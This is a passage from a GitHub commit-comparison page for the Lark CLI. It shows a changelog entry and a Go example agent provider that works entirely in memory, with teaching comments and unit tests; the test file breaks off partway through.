mirror of
https://github.com/larksuite/cli.git
synced 2026-07-08 18:13:01 +08:00
Compare commits
14 Commits
feat/open_
...
feat/remot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3900974469 | ||
|
|
603b9b7b43 | ||
|
|
8f54f9e77e | ||
|
|
6c8ea37340 | ||
|
|
f837ebf64e | ||
|
|
e8bfbab4a5 | ||
|
|
3bda9e17de | ||
|
|
e753b15d84 | ||
|
|
bdffffb368 | ||
|
|
ec6fdc9b30 | ||
|
|
775ee5a501 | ||
|
|
214318aa02 | ||
|
|
6f2cddfce1 | ||
|
|
75926f9744 |
5
.gitignore
vendored
5
.gitignore
vendored
@@ -52,3 +52,8 @@ cover*.out
|
||||
|
||||
lark-env.sh
|
||||
/automations/
|
||||
|
||||
# Local-only proof artifacts and coverage reports (never committed)
|
||||
coverage.html
|
||||
tests_e2e/
|
||||
tests_skill_eval/
|
||||
|
||||
19
CHANGELOG.md
19
CHANGELOG.md
@@ -2,6 +2,24 @@
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
## [v1.0.61] - 2026-06-30
|
||||
|
||||
### Features
|
||||
|
||||
- **apps**: Add `db`, `file`, `openapi-key` and observability shortcuts (#1596)
|
||||
- **identity**: Add `whoami` command showing effective identity (#1666)
|
||||
- **docs**: Add reference map flags (#1547)
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
- **identity**: Correct identity diagnosis under external credential providers (#1693)
|
||||
- **cli**: Harden git credential error handling (#1676)
|
||||
|
||||
### Documentation
|
||||
|
||||
- **doc**: Guide document copy skill usage (#1673)
|
||||
- **doc**: Fix lark-doc media token examples (#1662)
|
||||
|
||||
## [v1.0.60] - 2026-06-29
|
||||
|
||||
### Features
|
||||
@@ -1299,6 +1317,7 @@ Bundled AI agent skills for intelligent assistance:
|
||||
- Bilingual documentation (English & Chinese).
|
||||
- CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
|
||||
|
||||
[v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
|
||||
[v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
|
||||
[v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59
|
||||
[v1.0.58]: https://github.com/larksuite/cli/releases/tag/v1.0.58
|
||||
|
||||
365
agent/example/example.go
Normal file
365
agent/example/example.go
Normal file
@@ -0,0 +1,365 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package example is the in-repo agent provider onboarding template and offline
|
||||
// demo backend: a hypothetical example business domain whose data / calls are
|
||||
// entirely in-memory mocks, with zero network. It has three roles:
|
||||
//
|
||||
// 1. A copy-start point for new integrators — copy the whole package and rename
|
||||
// it; every key decision point carries a teaching comment from the
|
||||
// "integrator's perspective" (how to fill registration fields, which
|
||||
// capabilities to wire, how to make capability trade-offs);
|
||||
// 2. The command tree's offline demo backend — the full agent
|
||||
// list/card/send/task/context chain runs for real without any platform
|
||||
// configuration;
|
||||
// 3. A stable mock scheme for cmd-layer tests.
|
||||
//
|
||||
// Minimal checklist for onboarding a new provider (each item is demonstrated in
|
||||
// this package):
|
||||
// - register metadata via agent.Register in init() (see the per-field comments below);
|
||||
// - construct a *agent.Provider in the Factory, wiring one func field per
|
||||
// capability you support — the core Send/GetTask are mandatory, every other
|
||||
// field is optional and "not wired = not supported" (the framework returns a
|
||||
// unified unsupported_capability error and derives the card matrix from what
|
||||
// is wired, so there is no bool matrix to keep in sync and no capability-
|
||||
// refusal code to write);
|
||||
// - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
|
||||
// - add a blank import under agent/register.go to trigger init registration;
|
||||
// - run agenttest.RunConformance in tests to lock down implicit contracts.
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
)
|
||||
|
||||
// scheme is this provider's ref prefix (example:<agent_id>). It is globally
|
||||
// unique; duplicate registration panics during init (aligned with the
|
||||
// sql.Register convention, fail-fast to expose onboarding errors).
|
||||
const scheme = "example"
|
||||
|
||||
// catalog is the full agent set known at registration time. The catalog
|
||||
// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
|
||||
// ids) is handled by the framework's StaticCatalog; the integrator only declares
|
||||
// the descriptive data. Capabilities are NOT declared here — see newProvider,
|
||||
// where each agent's supported capabilities are expressed by which Provider func
|
||||
// fields the Factory wires.
|
||||
var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
|
||||
{
|
||||
ID: "echo",
|
||||
Name: "复读机",
|
||||
Description: "把你发的话原样复读一遍(同一会话续发时带轮次,证明上下文记忆)。最小能力集示范。",
|
||||
},
|
||||
{
|
||||
ID: "reporter",
|
||||
Name: "报表生成器",
|
||||
Description: "对任意请求产出一份内联 CSV 报表 artifact,示范 artifact 下载与任务取消链路。",
|
||||
},
|
||||
})
|
||||
|
||||
func init() {
|
||||
// Registration contract (internal/agent/registry.go): everything except
|
||||
// RequiredScopes is required; missing / invalid values panic. At registration
|
||||
// time it also constructs a Provider once via a zero-value Deps probe — so the
|
||||
// Factory must accept zero-value Deps and an empty agentID, have no side
|
||||
// effects during construction (no network, no disk), and wire the mandatory
|
||||
// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
|
||||
agent.Register(scheme, agent.ProviderInfo{
|
||||
Factory: newProvider,
|
||||
// Label: the user-facing provider name (the LABEL column in agent list).
|
||||
Label: "Example 演示 agent(内存 mock,零网络)",
|
||||
// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
|
||||
AgentRefFormat: "example:<agent_id>",
|
||||
// AgentIDSource: tells the user / AI where to get the agent_id — key
|
||||
// information for AI-guided onboarding, referenced by the unknown-id hint
|
||||
// and the not-discoverable list hint.
|
||||
AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref(无需任何平台配置)",
|
||||
// Kind: catalog type. Registration asserts the provider wires ListAgents,
|
||||
// so `agent list example` can enumerate.
|
||||
Kind: agent.KindCatalog,
|
||||
// RequiredScopes: the full set of scopes this provider's real API calls
|
||||
// need. example has zero network and calls no OAPI, so it is empty —
|
||||
// scope preflight (cmd/agent/preflight.go) always passes for the empty
|
||||
// set. A real provider must list every scope used by any verb (preflight
|
||||
// is all-or-nothing).
|
||||
RequiredScopes: nil,
|
||||
// Identities: supported calling identities and their preconditions. The
|
||||
// mock treats user/bot alike; if a real provider has a precondition for
|
||||
// some identity (e.g. a bot needs channel whitelisting), put it in
|
||||
// Precondition and the card passes it through to the AI verbatim.
|
||||
Identities: []agent.IdentitySpec{
|
||||
{Type: agent.IdentityUser},
|
||||
{Type: agent.IdentityBot},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
// state addresses one agent in the catalog. agentID may be empty — the
|
||||
// enumeration path (agent list example) and the registration probe construct a
|
||||
// state without an id.
|
||||
type state struct {
|
||||
deps agent.Deps
|
||||
agentID string
|
||||
}
|
||||
|
||||
// newProvider is the registered Factory. It assembles a *agent.Provider by
|
||||
// wiring the func fields for the capabilities this agent supports.
|
||||
//
|
||||
// Teaching focus — capability is expressed as wiring, per agent:
|
||||
// - Core Send/GetTask are wired unconditionally (mandatory).
|
||||
// - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
|
||||
// are wired for every agent.
|
||||
// - reporter additionally wires CancelTask + DownloadArtifact and sets
|
||||
// FileInput — echo does not, so echo's card honestly shows task_cancel /
|
||||
// artifact_download / file_input = false. There is no bool matrix: the card
|
||||
// is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
|
||||
// - A capability you do not wire needs zero refusal code: the command layer
|
||||
// gates on the nil field and returns unified unsupported_capability before
|
||||
// any provider method runs.
|
||||
//
|
||||
// Teaching point — the Factory does pure assignment only: it does not validate
|
||||
// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
|
||||
// it, and by Describe on the card path; the empty-id probe/enumeration instance
|
||||
// must construct successfully) and does not touch deps (the mock has no use for
|
||||
// Client/As, but construction must have no side effects either way — the
|
||||
// zero-value Deps probe contract).
|
||||
func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
|
||||
s := &state{deps: deps, agentID: agentID}
|
||||
p := &agent.Provider{
|
||||
Send: s.send,
|
||||
GetTask: s.getTask,
|
||||
ListTasks: s.listTasks,
|
||||
ListContexts: s.listContexts,
|
||||
GetContext: s.getContext,
|
||||
DeleteContext: s.deleteContext,
|
||||
ListAgents: s.listAgents,
|
||||
Describe: s.describe,
|
||||
}
|
||||
// Per-agent capability: reporter can be canceled and produces a downloadable
|
||||
// artifact, accepts file input, and may pause a task in input_required; echo
|
||||
// (minimal set) does none of these, so those fields stay nil/false and the
|
||||
// framework reports them unsupported.
|
||||
if agentID == "reporter" {
|
||||
p.CancelTask = s.cancelTask
|
||||
p.DownloadArtifact = s.downloadArtifact
|
||||
p.FileInput = true
|
||||
p.InputRequired = true
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// describe supplies the per-agent Card metadata and validates the agent_id
|
||||
// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
|
||||
// derived by the framework from the wired fields, so Describe never touches them.
|
||||
func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
|
||||
return catalog.Describe(s.agentID)
|
||||
}
|
||||
|
||||
// listAgents enumerates the catalog: `agent list example` goes here.
|
||||
func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
|
||||
return catalog.ListAgents(ctx)
|
||||
}
|
||||
|
||||
// send sends one message: the first turn generates a context_id to start a new
|
||||
// conversation, and --context-id continues within the same conversation. The
|
||||
// mock task has no async execution body, so send immediately returns in the
|
||||
// completed terminal state — the command layer's meta.next therefore directly
|
||||
// gives the terminal-state suggestion "view task detail and artifacts" rather
|
||||
// than a polling command.
|
||||
//
|
||||
// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
|
||||
// leaving it out would be fine — the command layer's normalizeTask always
|
||||
// re-derives this field from State (single source), so a provider filling it in
|
||||
// wrong does not affect the watch exit code.
|
||||
func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
|
||||
entry, err := catalog.Lookup(s.agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// The mock task is instantly terminal, so there is no "feed input to a running
|
||||
// task" scenario. Continuing via --task-id returns failed_precondition: the
|
||||
// request itself is valid but the target resource's state does not satisfy it
|
||||
// — reading this subtype, the AI knows to "try a different way" (start a new
|
||||
// task) rather than retry as-is. (This is a genuine runtime precondition, not
|
||||
// a capability gate — hence a typed error here, not an unwired field.)
|
||||
if in.TaskID != "" {
|
||||
return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"example 的任务发出即完成(终态),无法向已有任务续发").
|
||||
WithParam("--task-id").
|
||||
WithHint("去掉 --task-id,用 --context-id 在同一会话起新一轮任务")
|
||||
}
|
||||
|
||||
ctxID := in.ContextID
|
||||
if ctxID == "" {
|
||||
// First turn: generate a context_id (the anchor for the multi-turn
|
||||
// context; later sends use it to continue the conversation).
|
||||
ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// createTask validates context ownership while holding the lock (an unknown /
|
||||
// cross-agent context id is rejected inside with a typed validation error),
|
||||
// computes the round, and inserts atomically; the build callback only
|
||||
// assembles the task body according to the round.
|
||||
task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
|
||||
var reply string
|
||||
switch entry.ID {
|
||||
case "echo":
|
||||
// Echo the input; from round 2 on, add a round marker to prove
|
||||
// across commands that context memory really works.
|
||||
reply = in.Text
|
||||
if round > 1 {
|
||||
reply = fmt.Sprintf("%s(第 %d 轮)", in.Text, round)
|
||||
}
|
||||
default: // reporter
|
||||
reply = "报表已生成:quarterly_report.csv(见 artifacts,用 task get --artifact <id> -o <path> 下载)"
|
||||
if n := len(in.Files); n > 0 {
|
||||
reply = fmt.Sprintf("已收到 %d 个附件;%s", n, reply)
|
||||
}
|
||||
}
|
||||
t := agent.AgentTask{
|
||||
TaskID: newID("task"),
|
||||
ContextID: ctxID,
|
||||
State: agent.StateCompleted,
|
||||
IsTerminal: true,
|
||||
Messages: []agent.Message{
|
||||
{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
|
||||
{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
|
||||
},
|
||||
}
|
||||
if entry.ID == "reporter" {
|
||||
// The artifact exposes only fields the provider can truly deliver
|
||||
// (the contract.go rule: do not create empty shell fields that cannot
|
||||
// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
|
||||
// hint), while the file name / mime are exposed at the
|
||||
// DownloadArtifact stage as suggested_name.
|
||||
t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
|
||||
}
|
||||
return t
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
// getTask queries a single task's state and artifacts (reads the in-memory state machine).
|
||||
func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &task, nil
|
||||
}
|
||||
|
||||
// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
|
||||
func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.listTasks(s.agentID, contextID), nil
|
||||
}
|
||||
|
||||
// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
|
||||
// echo never reaches it — the command layer gates echo's cancel on the nil field
|
||||
// and returns unsupported_capability before any provider code runs. The mock
|
||||
// task is completed the moment it is sent, so canceling a terminal task returns a
|
||||
// failed_precondition typed error (state not satisfied, exit 2) rather than
|
||||
// pretending success — honest error semantics matter as much as honest capability
|
||||
// wiring.
|
||||
func (s *state) cancelTask(ctx context.Context, taskID string) error {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return err
|
||||
}
|
||||
task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if task.State.IsTerminal() {
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"任务 '%s' 已处于终态 %s,无法取消", taskID, task.State).
|
||||
WithHint("终态任务不可取消;用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
|
||||
}
|
||||
return store.setTaskState(taskID, agent.StateCanceled)
|
||||
}
|
||||
|
||||
// listContexts lists multi-turn contexts.
|
||||
func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.listContexts(s.agentID), nil
|
||||
}
|
||||
|
||||
// getContext returns a single context's detail (including its task list).
|
||||
func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return store.getContext(s.agentID, ctxID)
|
||||
}
|
||||
|
||||
// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
|
||||
func (s *state) deleteContext(ctx context.Context, ctxID string) error {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return err
|
||||
}
|
||||
return store.deleteContext(s.agentID, ctxID)
|
||||
}
|
||||
|
||||
// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
|
||||
const reportCSV = "quarter,revenue,cost,margin\n" +
|
||||
"2026Q1,1250,830,0.336\n" +
|
||||
"2026Q2,1410,905,0.358\n"
|
||||
|
||||
// downloadArtifact fetches artifact data. It is wired only for reporter
|
||||
// (artifact_download=true); echo never reaches it (gated on the nil field).
|
||||
// example uses the inline Bytes type (the command layer writes it to disk
|
||||
// directly); the URL type (a real provider's signed URL) fills the URL field, and
|
||||
// SSRF validation plus the download are handled uniformly by the command layer.
|
||||
//
|
||||
// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
|
||||
// file name", echoed back only as a suggested_name for the caller to reference
|
||||
// when choosing -o — it is untrusted input and must never participate in
|
||||
// constructing the local save path (the contract.go rule; the save path is
|
||||
// always determined by -o/SafeOutputPath).
|
||||
func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
|
||||
if _, err := catalog.Lookup(s.agentID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
task, err := store.getTask(s.agentID, taskID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, a := range task.Artifacts {
|
||||
if a.ID == artifactID {
|
||||
return &agent.ArtifactData{
|
||||
Name: "quarterly_report.csv",
|
||||
Mime: "text/csv",
|
||||
Bytes: []byte(reportCSV),
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
|
||||
WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
|
||||
}
|
||||
|
||||
// truncateTitle takes the first few characters of the message as the
|
||||
// conversation title (truncated by rune to avoid cutting a character in half).
|
||||
func truncateTitle(s string) string {
|
||||
const max = 20
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
311
agent/example/example_test.go
Normal file
311
agent/example/example_test.go
Normal file
@@ -0,0 +1,311 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/agent/agenttest"
|
||||
)
|
||||
|
||||
// swapStore replaces the package-level store with an isolated instance pointing at
|
||||
// t.TempDir, so tests do not pollute each other or the local demo snapshot.
|
||||
func swapStore(t *testing.T) {
|
||||
t.Helper()
|
||||
old := store
|
||||
store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
|
||||
t.Cleanup(func() { store = old })
|
||||
}
|
||||
|
||||
// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
|
||||
func buildProvider(t *testing.T, agentID string) *agent.Provider {
|
||||
t.Helper()
|
||||
p, err := newProvider(agent.Deps{}, agentID)
|
||||
if err != nil {
|
||||
t.Fatalf("newProvider: %v", err)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
// TestConformance runs the shared conformance suite: locking registration metadata,
|
||||
// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
|
||||
// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
|
||||
func TestConformance(t *testing.T) {
|
||||
agenttest.RunConformance(t, scheme, "echo")
|
||||
}
|
||||
|
||||
// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
|
||||
func TestConformanceReporter(t *testing.T) {
|
||||
agenttest.RunConformance(t, scheme, "reporter")
|
||||
}
|
||||
|
||||
// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
|
||||
// capability matrices (the core of the teaching demo: honest capability declaration
|
||||
// plus task_cancel true for one and false for the other).
|
||||
func TestCapabilityMatrixDiverges(t *testing.T) {
|
||||
// The card matrix is derived from which Provider fields the Factory wires per
|
||||
// agent, so DeriveCapabilities over the two constructed providers is the
|
||||
// single source under test.
|
||||
ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
|
||||
rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
|
||||
if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
|
||||
t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
|
||||
}
|
||||
if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
|
||||
t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
|
||||
}
|
||||
if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
|
||||
t.Errorf("reporter should have everything enabled, got %+v", rc)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
|
||||
// original text and generates a context_id, and a follow-up in the same context
|
||||
// echoes with a turn marker.
|
||||
func TestEchoMultiTurn(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
|
||||
t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
|
||||
if err != nil {
|
||||
t.Fatalf("first-turn Send: %v", err)
|
||||
}
|
||||
if t1.State != agent.StateCompleted {
|
||||
t.Fatalf("send should be immediately completed, got %s", t1.State)
|
||||
}
|
||||
if t1.ContextID == "" || t1.TaskID == "" {
|
||||
t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
|
||||
}
|
||||
if got := agentReply(t, t1); got != "hello" {
|
||||
t.Fatalf("first-turn echo should be the original text, got %q", got)
|
||||
}
|
||||
|
||||
t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
|
||||
if err != nil {
|
||||
t.Fatalf("follow-up Send: %v", err)
|
||||
}
|
||||
if t2.ContextID != t1.ContextID {
|
||||
t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
|
||||
}
|
||||
if got := agentReply(t, t2); got != "再来(第 2 轮)" {
|
||||
t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
|
||||
}
|
||||
|
||||
// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
|
||||
got, err := p.GetTask(ctx, t2.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetTask: %v", err)
|
||||
}
|
||||
if agentReply(t, got) != "再来(第 2 轮)" {
|
||||
t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
|
||||
}
|
||||
tasks, err := p.ListTasks(ctx, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(tasks) != 2 {
|
||||
t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
|
||||
}
|
||||
ctxs, err := p.ListContexts(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
|
||||
t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
|
||||
}
|
||||
detail, err := p.GetContext(ctx, t1.ContextID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(detail.Tasks) != 2 {
|
||||
t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
|
||||
}
|
||||
}
|
||||
|
||||
// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
|
||||
// instance pointing at the same snapshot file (simulating a new CLI process), the task
|
||||
// is still queryable -- the offline demo chain depends on this.
|
||||
func TestStateSurvivesReload(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// A new store instance = a new process view; only the snapshot file is shared memory.
|
||||
store = newMemoryStore(store.path)
|
||||
got, err := p.GetTask(context.Background(), task.TaskID)
|
||||
if err != nil {
|
||||
t.Fatalf("GetTask after reload: %v", err)
|
||||
}
|
||||
if got.ContextID != task.ContextID {
|
||||
t.Fatalf("task should replay fully after reload: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
|
||||
// and DownloadArtifact returns inline Bytes + suggested_name.
|
||||
func TestReporterArtifactFlow(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "reporter")
|
||||
ctx := context.Background()
|
||||
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(task.Artifacts) != 1 {
|
||||
t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
|
||||
}
|
||||
art := task.Artifacts[0]
|
||||
if art.ID == "" || art.Kind != "text" {
|
||||
t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
|
||||
}
|
||||
|
||||
data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
|
||||
if err != nil {
|
||||
t.Fatalf("DownloadArtifact: %v", err)
|
||||
}
|
||||
if data.Name != "quarterly_report.csv" {
|
||||
t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
|
||||
}
|
||||
if data.Mime != "text/csv" {
|
||||
t.Errorf("mime should be text/csv, got %q", data.Mime)
|
||||
}
|
||||
if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
|
||||
t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
|
||||
}
|
||||
|
||||
// Unknown artifact id -> typed validation error.
|
||||
if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
|
||||
t.Fatal("unknown artifact id should return an error")
|
||||
} else if _, ok := errs.ProblemOf(err); !ok {
|
||||
t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
|
||||
// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
|
||||
// false. There is no capability-refusal code — the command layer gates on the
|
||||
// nil fields and returns unsupported_capability before any provider method runs.
|
||||
func TestEchoUnwiredCapabilities(t *testing.T) {
|
||||
p := buildProvider(t, "echo")
|
||||
if p.CancelTask != nil {
|
||||
t.Error("echo should not wire CancelTask (task_cancel=false)")
|
||||
}
|
||||
if p.DownloadArtifact != nil {
|
||||
t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
|
||||
}
|
||||
if p.FileInput {
|
||||
t.Error("echo should not accept file input (file_input=false)")
|
||||
}
|
||||
}
|
||||
|
||||
// TestReporterCancelTerminal verifies reporter supports cancel but returns a
|
||||
// failed_precondition typed error for a terminal task (the mock task is completed
|
||||
// as soon as it is sent).
|
||||
func TestReporterCancelTerminal(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "reporter")
|
||||
ctx := context.Background()
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = p.CancelTask(ctx, task.TaskID)
|
||||
if err == nil {
|
||||
t.Fatal("canceling a terminal task should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
|
||||
}
|
||||
if prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
|
||||
// typed error (invalid_argument, with a hint pointing to agent list example).
|
||||
func TestUnknownCatalogID(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "nonexistent")
|
||||
ctx := context.Background()
|
||||
if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
|
||||
t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
|
||||
}
|
||||
_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
|
||||
if err == nil {
|
||||
t.Fatal("Send with an unknown catalog id should return an error")
|
||||
}
|
||||
prob, ok := errs.ProblemOf(err)
|
||||
if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
|
||||
// semantics) and an unknown context id.
|
||||
func TestSendGuards(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
|
||||
_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
|
||||
}
|
||||
|
||||
_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
|
||||
if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("unknown context id should be invalid_argument, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
|
||||
func TestDeleteContext(t *testing.T) {
|
||||
swapStore(t)
|
||||
p := buildProvider(t, "echo")
|
||||
ctx := context.Background()
|
||||
task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := p.DeleteContext(ctx, task.ContextID); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
